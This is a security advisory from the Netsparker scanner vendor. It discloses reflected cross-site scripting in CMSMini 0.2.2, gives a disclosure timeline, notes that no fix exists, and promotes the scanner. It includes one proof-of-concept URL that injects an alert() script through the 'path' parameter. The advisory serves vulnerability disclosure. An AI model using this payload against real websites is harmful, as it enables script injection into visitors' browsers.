XSS Vulnerabilities in CMSMini

Information

Name : XSS Vulnerabilities in CMSMini
Software : CMSMini 0.2.2 and possibly below.
Vendor Homepage : http://sourceforge.net/projects/cmsmini/
Vulnerability Type : Cross-Site Scripting
Severity : Critical
Researcher : Canberk Bolat
Advisory Reference : NS-12-012

Description

A small PHP application for manage content for small web sites. Not
intended for a cooperative group of editors and reviewers: simply one
editor can insert new contents, immedietly published on web: "one
task, one click"

Details

CMSMini is affected by XSS vulnerabilities in version 0.2.2

http://example.com/view/index.php?path='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0000A3)%3C/script%3E&p=cms.guestbook&msg=Message%20sent

You can read the full article about Cross-Site Scripting from here:

Cross-site Scripting (XSS)
Solution

No fix.

Advisory Timeline

23/01/2011 - No contact info
19/10/2012 - Advisory released

Credits

It has been discovered on testing of Netsparker, Web Application
Security Scanner - http://www.mavitunasecurity.com/netsparker/.

References

Vendor Url / Patch : -
MSL Advisory Link :
http://www.mavitunasecurity.com/xss-vulnerabilities-in-cmsmini/
Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/

About Netsparker

Netsparker® can find and report security issues such as SQL Injection
and Cross-site Scripting (XSS) in all web applications regardless of
the platform and the technology they are built on. Netsparker's unique
detection and exploitation techniques allows it to be dead accurate in
reporting hence it's the first and the only False Positive Free web
application security scanner.

– Netsparker Advisories, <[email protected]> Homepage, http://www.mavitunasecurity.com/netsparker-advisories/